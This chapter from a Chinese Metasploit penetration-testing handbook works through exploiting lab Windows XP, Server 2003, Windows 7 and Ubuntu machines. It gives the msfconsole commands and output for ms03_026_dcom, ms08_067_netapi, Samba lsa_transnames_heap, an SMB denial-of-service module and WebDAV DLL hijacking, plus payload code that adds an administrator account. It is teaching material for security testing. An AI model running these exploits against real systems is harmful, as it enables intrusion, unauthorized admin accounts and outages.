本章讲解下述内容:
● Exploit用法快速提示;
● 在Windows XP SP2上进行渗透测试;
● 绑定远程访问目标机器的shell;
● 在Windows 2003 Server上进行渗透测试;
● Windows 7/Server 2008 R2客户端无限循环漏洞;
● 对Linux(Ubuntu)机器进行攻击渗透;
● 理解Windows DLL注入漏洞。
上章着重介绍了对目标机器的信息收集,包括目标 IP 地址、开放端口、可用服务等各种类型信息,其中最重要的信息是与目标服务器或系统使用的操作系统相关的信息,这些信息有助于快速发现目标操作系统中存在的漏洞和相应的漏洞利用代码。当然,实际过程并非那么直接,但如果使用与操作系统相关的信息可以在很大程度上让这些任务变得更容易。
每种操作系统中都会存在各种bug,一旦这些bug被公布出去,就会产生针对这些bug的攻击代码。像Windows这样有版权的操作系统,会快速开发针对这些bug或漏洞的补丁,并为用户提供更新。漏洞披露是一个大问题,很多零日漏洞披露者给计算机产业带来了巨大的破坏。零日漏洞被各类人群所追捧,在一些地下交易市场也十分活跃,其价格可能在50000~100000美元。通常的情况下,漏洞研究人员发现并可以成功利用某些漏洞,但是否披露漏洞则取决于他们自己的意愿。
一些知名厂商,例如微软和 Adobe 公司会定期发布补丁,但是否采用则取决于用户自身。在公司中的情况更糟,从补丁发布到服务器打补丁需要数星期的时间,因为打补丁会涉及机器的宕机和重启,而企业对业务连续性又很高要求。因此,强烈建议及时更新补丁或对操作系统中最新发现的漏洞保持关注。未打补丁的操作系统对黑客而言是避风港(safe haven),因为黑客可以立即启动并攻击目标。所以,定期对操作系统进行打补丁和更新是很重要的。本章中我们将关注某些最流行操作系统中出现的漏洞。
在渗透测试过程中,收集和获取目标操作系统的相关信息后,测试人员便可以开始寻找针对特定操作系统漏洞的漏洞利用代码。因此,本章介绍的内容是利用操作系统漏洞对目标进行渗透的第一步。我们将关注某些应用最广泛的微软家庭版和企业版操作系统,以及某些Linux系统,并了解怎样使用漏洞利用代码及设置参数,以便其在目标机器上正确运行。最后,我们将讨论Metasploit中某些有用的攻击载荷。
在对目标机器使用漏洞利用代码和攻击载荷之前,我们需要先了解一些相关的基本知识。理解漏洞利用代码的使用非常重要,这样才能解决参数错误配置时可能出现的错误。下面介绍有关漏洞利用代码使用和参数设置的一些基本知识。
准备
要对目标使用漏洞利用代码,首先扫描目标寻找开放端口和服务,获取目标相关的充分信息,然后有针对性地选择合适的漏洞利用代码。下面分析一些可以直接在 msfconsole中启动的漏洞利用代码使用命令。
怎样实现
下面列出了使用exploit时的一些常用命令。
msf > show exploits与msf > show payloads:这两条命令用于展示Metasploit目录中所有可用的漏洞利用代码和攻击载荷。
msf> search exploit:该命令用于搜索某个特定的漏洞利用代码,也可以使用该命令搜索任意特定的搜索项。该命令按如下方式进行传递。
msf > search exploit-name or search-term
例如下面的命令示例。
msf > search ms03_026_dcom
Matching Modules
================
Name Disclosure Date Rank
Description
---- ---------------- --- -----------
exploit/windows/
dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM
msf > use exploit:该命令用于将任意 exploit设置为活跃状态或待用状态,该命令按如下方式进行传递。
msf > use exploit name
执行该命令后,命令行提示符将切换为exploit类型。
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
show options:该命令用于查看当前使用的exploit的可用选项或参数,各种参数包括主机IP地址、线程等,其中标记为yes的参数必须设置相应值以便有效执行该漏洞利用代码。
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
set:该命令用于为当前使用的 exploit中的某个参数设置具体值,例如为某个特定漏洞利用代码设置具体的攻击载荷。该命令按如下方式传递。
msf > set parameter-name parameter-value
类似地,也可以使用unset命令取消对某个参数值的设置。
msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102
RHOST => 102.168.56.102
msf exploit(ms03_026_dcom) >
还有两条可选的命令:setg命令和unsetg命令,用于在msfconsole中设置全局性的参数值,从而减少相同值的输入工作。
show targets:每个 exploit都设计用于攻击某种目标服务,本命令用于展示该 exploit有哪些可用的攻击目标。
msf exploit(ms03_026_dcom) > show targets
Exploit targets:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
从结果可以看出,漏洞利用代码dcom可对多种Windows机器进行攻击。
怎样工作
在第1章曾经讲过,整个Metasploit框架采用的是模块化体系结构,不同的漏洞利用代码都转换为框架中定义的模块,并按照框架中的规范运作。用户可以使用不同的命令加载和使用模块,通过 msfconsole 提供的命令行接口,可以很容易地访问不同的模块并开展渗透测试。
本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。
准备
首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。
怎样实现
若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。
(1)主要目标是选择可用于 Windows XP 的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。
msf exploit(ms03_026_dcom) > search dcom
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- --- -----------
exploit/windows
dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC
xploit/windows/
driver/
broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless
xploit/windows/
smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE
从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。
(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。
msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) >
命令行提示符的改变表明该命令已经运行成功。
(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf exploit(ms03_026_dcom) >
注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有 Windows 版本。其他的漏洞利用代码一般都需要使用 show targets命令来选择目标操作系统。
目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。
(4)下一步选择合适的攻击载荷,可以使用命令 show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。
msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser
PAYLOAD => windows/adduser
(5)再次运行 show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。
Payload options (windows/adduser):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes seh, thread, process,
none
PASS metasploit yes password for this user
USER metasploit yes The username to create
从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用 set PASS命令和 set USER命令。
(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。
msf exploit(ms03_026_dcom) > exploit
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_
tcp:192.168.56.102[135] ...
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。
怎样工作
在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。
该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。
要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。
http://technet.microsoft.com/en-us/security/bulletin/ms03-026
为了理解 adduser 攻击载荷的工作机理,需要对该载荷的 ruby 代码进行分析,并找到如下位置。
root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows
root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb
观察下面的代码。
# Register command execution options
register_options(
[
OptString.new('USER', [ true, "The
username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The
password for this user", "metasploit" ]),
], self.class)
# Hide the CMD option
deregister_options('CMD')
end
#
# Override the exec command string
#
def command_string
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || ''
if(pass.length > 14)
raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
end
return "cmd.exe /c net user #{user} #{pass} /ADD && "
+
"net localgroup Administrators #{user} /ADD"
end
读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖 windows/exec 载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。
读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。
在前面内容中,分析了怎样对Windows SP2进行攻击渗透,并在其上添加新的用户账号,但是在执行该漏洞利用代码之后,连接也终止了。在本节中,将实现向目标机器绑定shell,以便建立与目标机器的远程连接并对其进行远程控制。工作过程和前面讲过的类似,使用不同的攻击载荷,执行后将在目标机器上打开远程连接shell。
准备
从启动msfconsole开始,目标与在Windows XP SP2上进行渗透测试的目标相同,使用的漏洞同样也是dcom漏洞,区别是使用不同的攻击载荷,本次选用的攻击载荷可以生成绑定到目标主机的shell。
怎样实现
若要向目标主机绑定shell,需要执行如下几个步骤。
(1)针对目标机器,选择dcom漏洞利用代码,设置不同的参数,然后选择攻击载荷。
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options
Module options (exploit/windows/dcerpc/ms03_026_dcom):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 135 yes The target port
Exploit target:
Id Name
-- ----
0 Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
(2)漏洞利用代码相关参数设置完成后,接下来就是攻击载荷。使用 show payloads命令可以列出所有可用的攻击载荷。选择windows/shell/bind_tcp,该攻击载荷将在目标机器的4444端口(默认情况)打开TCP连接,并向攻击者提供命令shell。
msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
(3)使用 show options命令,并设置其他相关参数,例如RHOST。还可以修改缺省的端口号,参数设置完成后,便可以执行该漏洞利用代码。下面展示的是代码执行后的输出情况。
msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack2- lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:4444 ->
192.168.56.102:1052) at 2011-10-31 01:55:42 +0530
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
从以上信息可以看出,漏洞利用代码成功执行,新的命令行提示符已经在 msfconsole中启动,攻击者可以利用这一新的会话远程获取对目标机器的完全访问权限。如果需要退出该会话,可以使用exit命令。
读者现在可能已经认识到 Metasploit 中攻击载荷的强大,为更好地理解其攻击载荷的功能,强烈建议读者对其进行更多的尝试。
怎样工作
Dcom 漏洞利用代码的工作原理和前面讲过的是相同的。bind_tcp 的工作过程涉及后面章节将要介绍的一些概念,以便对其工作过程有更好的理解。读者也可以查阅该攻击载荷的 ruby 代码,见/pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb。
更多
接下来要学习怎样通过shell对目标主机进行控制。
实现对目标的完全控制
建立与目标机器的shell连接,然后使用命令行提示符对目标机器进行完整的访问和控制。可使用一些常用的DOS命令对目标机器进行探索,包括目录列表、文件与文件夹复制、创建用户代理等一些基本操作。
3.5 在Windows 2003 Server上进行渗透测试
在上一节中,我们介绍了怎样使用 dcom漏洞利用代码,引发 Windows目标机器的缓冲区溢出,并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境, Windows 2003 Server是微软应用最广泛的企业级操作系统之一,本节将介绍怎样对其进行攻击渗透,由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞,所以本节中将尝试使用其他漏洞,即netapi32.dll漏洞。首先分析该漏洞的工作过程,然后分析该漏洞成因。
准备
首先启动msfconsole,并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤,以便增强理解和掌握。下面的内容和前两节讲述的是相同的,差别在于使用的漏洞利用代码不同。
怎样实现
若要在Windows 2003 Server上执行渗透测试,遵循如下步骤。
(1)首先搜索netapi,列出Metasploit框架中所有与netapi相关的漏洞利用代码。
msf > search netapi
Matching Modules
================
Name Disclosure Date Rank
---- --------------- ----
exploit/windows/smb/ms03_049_netapi 2003-11-11 good
exploit/windows/smb/ms06_040_netapi 2006-08-08 good
exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual
exploit/windows/smb/ms08_067_netapi 2008-10-28 great
从结果可以看到,列出的4个结果中,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。
(2)将RHOST设置为Windows 2003 Server目标机器。
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use
(BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
Id值为0的含义是不需要指定目标操作系统。
(3)完成漏洞利用代码加载后,设置攻击载荷。这里仍然设置 tcp_bind 攻击载荷,以便获取目标机器的shell,如前面所讨论的。
msf exploit(ms08_067_netapi) > set payload
windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
漏洞利用代码和攻击载荷都已经设置完毕,最后使用exploit命令并分析该命令的执行结果。
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 SERVER - Service Pack2- lang:English
[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.56.102
[*] Command shell session 1 opened (192.168.56.101:43408 ->
192.168.56.102:4444) at 2011-11-02 21:25:30 +0530
C:\WINDOWS\system32>
从结果可以看到攻击成功,并建立了到目标主机的shell连接,可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大,在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。
怎样工作
该模块利用了Server服务中的漏洞,即netapi32.dll执行路径连接代码中的分析漏洞,在某些操作系统和服务包中,该漏洞可以绕过NX特性。可用于防止Server服务(以及同一进程中的其他服务)崩溃。
3.6 Windows 7/Server 2008 R2 SMB客户端无限循环漏洞
针对Windows 7和Windows Server 2008的漏洞利用代码非常少,SMB客户端无限循环漏洞是其中的一项,可以导致目标系统崩溃。该漏洞不会产生会话或shell连接,但也仍然值得讨论。在第 3.8节中,将对Windows 7中的DLL注入漏洞进行分析。
Windows Server 2008 R2与Windows 7中的SMB客户端中存在漏洞,间接攻击者和远程SMB 服务器可以利用SMBv1 或SMBv2 响应数据包产生拒绝服务(无限循环和系统挂起)。该数据包的NetBIOS头部或末端长度字段中包含有不正确的长度值,是导致该漏洞的主要原因。
准备
Metasploit中包含有辅助模块auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop,可用于对SMB服务器进行攻击渗透,并导致拒绝服务,其攻击方法是将UNC路径传递给web页面,并诱使目标用户执行,用户打开共享文件之后,目标系统将完全崩溃,只能重启恢复。
怎样实现
要使用该辅助模块,需要使用use命令,并以该模块路径为参数,然后设置必需的参数并执行该模块,可执行如下步骤。
msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > show options
Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_
loop):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host..
SRVPORT 445 yes The SMB port to listen
SSL false no Negotiate SSL..
SSLCert no Path to a custom SSL
SSLVersion SSL3 no Specify the version..
快速设置各种参数,实际上唯一需要更改的参数是SRVHOST,该参数需要设置为渗透攻击人员所用机器的IP地址。
msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST
192.168.56.101
SRVHOST => 192.168.56.101
怎样工作
使用run命令执行该辅助模块,该模块执行后,会生成一个共享文件夹链接并发送给目标用户,本示例中生成的链接为\\192.168.56.101\Shared\Anything。
msf auxiliary(ms10_006_negotiate_response_loop) > run
[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access:
\\192.168.56.101\Shared\Anything
[*] Server started.
还可以伪造一个网页,将其附加到该链接中使其看起来不那么可疑,之后将其发送给目标用户。目标用户点击该链接之后,目标系统将彻底死机,导致完全的拒绝服务,只有重启才能恢复正常。
Linux是继Windows之后应用广泛的操作系统之一,在前面几节中,我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透,本节将关注Linux操作系统漏洞,示例针对的是Ubuntu 9,工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。
准备
首先对Linux目标机器进行扫描,收集可用服务信息。使用Nmap进行快速扫描并分析其结果。
msf > nmap -sT 192.168.56.101
[*] exec: nmap 192.168.56.101
Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.56.101
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
|_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)
No exact OS matches for host (If you know what OS is running on it, see
http://nmap.org/submit/ )
收集到目标相关的信息后,为其选择漏洞利用代码和合适的攻击载荷。
怎样实现
对Linux机器的渗透过程与Windows类似,采用如下步骤。
(1)主要任务是选择正确的漏洞利用代码和攻击载荷,可以在Metasploit目录中搜索可用的Samba漏洞利用代码。
msf > search Samba
(2)该命令将返回各种有关 Samba 的辅助模块和漏洞利用代码模块列表,选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块,因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态,并设置必要的参数。
msf > use exploit/linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Exploit target:
Id Name
-- ----
0 Linux vsyscall
msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(lsa_transnames_heap) >
(3)接下来选择合适的攻击载荷,要记住的是,我们的目标是Linux机器,因此必须选择Linux攻击载荷。选择使用的是 linux/x86/shell_bind_tcp payload,其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_
bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show options
Module options (exploit/linux/samba/lsa_transnames_heap):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.56.101 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE LSARPC yes The pipe name to use
Payload options (linux/x86/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.56.101 no The target address
(4)各种选项已设置完毕,最后使用exploit命令进行攻击渗透过程。
msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
漏洞利用代码成功执行后,将建立攻击方机器到目标方机器的shell连接,这一过程与前面章节中讨论的过程非常类似,唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多,对这些概念的理解就会越好。
怎样工作
下面对 Samba 服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba 用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用 talloc chunk重写方法(credit Ramon and Adriano),该方法只适用在 Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况,因此可以多次尝试。
更多
下面介绍其他一些与Linux操作系统相关的漏洞利用模块。
其他与Linux相关的漏洞利用模块
除了本节讨论的漏洞利用模块之外,还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。
Samba chain_reply内存损坏漏洞:该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现。
Samba trans2open溢出:这是Samba2.2.0版本到 2.2.8版本中普遍存在的一个缓冲区溢出漏洞,其工作原理是利用没有 noexec栈选项的 x86 Linux机器中的漏洞。
本节将介绍一种特殊类型的漏洞,这种漏洞不直接存在于 Windows 操作系统中,而是存在于 Windows 上运行的各种应用程序软件之中。这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞,下面介绍这类漏洞,以便对其进行深入分析。
准备
这种攻击方法需要创建包含漏洞的目录路径,目标机器需要执行该路径以便激活该漏洞。这个目录可以是文件、提取的文件夹、USB 驱动器或网络共享等。创建的文件本身是完全无害的,但会执行DLL注入漏洞来攻击目标系统。
怎样实现
下面介绍DLL注入漏洞的实现过程。本示例中,目标机器是一个未打补丁的Windows 7 Ultimate机器。工作过程是创建一个链接共享该机器必须访问和执行的文件。随着讲解的深入,读者会对这一过程有更好的理解。
(1)使用exploit/windows/browser/webdav_dll_hijacker模块作为漏洞利用代码,windows/meterpreter/bind_tcp作为攻击载荷,下面对漏洞利用代码和攻击载荷必需的参数进行快速设置。
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set payload windows/
meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(webdav_dll_hijacker) > show options
Module options (exploit/windows/browser/webdav_dll_hijacker):
Name Current Setting Required Description
---- --------------- -------- -----------
BASENAME policy yes The base name for the listed
EXTENSIONS txt yes The list of extensions
SHARENAME documentsyes The name of the top-level
SRVHOST 0.0.0.0 yes The local host...
SRVPORT 80 yes The daemon port to listen
SSLCert no Path to a custom SSL..
URIPATH / yes The URI to use
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LPORT 4444 yes The listen port
RHOST 192.168.56.102 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
使用漏洞利用代码的各种参数有助于创建特定文件和顶层共享。其中,参数BASENAME包含了要创建的文件名,EXTENSIONS 是待创建文件的类型扩展名,SHARENAME 是待创建用于访问的顶级共享目录,SRVHOST是本地监听主机,SRVPORT是用于对连接进行监听的端口号。
(2)漏洞利用代码和攻击载荷的相应参数设置完成后,执行漏洞利用代码。执行后的情况如下。
msf exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started bind handler
[*]
[*] Exploit links are now available at
\\192.168.56.101\documents\
(3)漏洞利用代码成功执行后,开始对产生的连接进行监听,并提供共享链接。目标打开该链接后将触发漏洞并执行漏洞利用代码,下面切换到目标机器屏幕看会发生哪些情况。
目标机器中包含policy.txt文件,该文件已被攻击者共享,该文件是完全无害的,然而一旦目标用户执行该文件后,就会与攻击方机器建立shell连接,而实际上在目标机器上执行的是DLL文件,此时在msfconsole屏幕上会看到大量活动。DLL成功注入后,将产生一个shell连接(见下图)。
怎样工作
下面分析导致该漏洞的原因。动态链接库(DLL)是微软Windows操作系统中共享库的一种实现。DLL 实际上是与某个特定程序相关的可执行程序,该程序运行时会加载与其相关的DLL共享库。应用程序运行时,loadlibrary()函数将加载运行时必需的DLL,如果待加载DLL的位置没有指定,或者应用程序提供的是非全限定的库路径,Windows就会使用自定义的搜索顺序进行DLL搜索,其中默认搜索位置就是程序的当前工作目录。
目标用户访问共享位置后,就会进入到攻击者控制的区域,这是为什么呢?因为共享文件policy.txt包含非完全限定的DLL路径,目标用户执行该文件时,Windows会按照缺省搜索顺序搜索该 DLL 文件,而由于当前工作目录(/documents)是由攻击者控制的,攻击者就可以在其中添加恶意的 DLL 代码,并由 Windows 操作系统执行(当前工作目录是Windows搜索链接库的缺省位置之一),从而使得攻击者可以执行外部脚本,攻击载荷成功执行后,会在攻击方机器和目标机器之间建立shell连接,攻击者由此获取对目标系统的完全访问权限。以上为该攻击方法的整个过程。
更多
可以使用H. D. Moore开发的一个简单工具来探测DLL注入漏洞。
H. D. Moore的DllHijackAudit工具
Metasploit的创建者H. D. Moore创建了一种安全审计工具,可测试系统环境中是否存在DLL注入漏洞,这是使用Ruby解释器运行的进程监控工具,其工作机理是监控某个DLL文件是否在关联文件的工作目录内被访问。该工具还可以生成测试报告。工具及详细的文档信息可以参见http://blog.metasploit.com/2010/08/better-faster-stronger.html。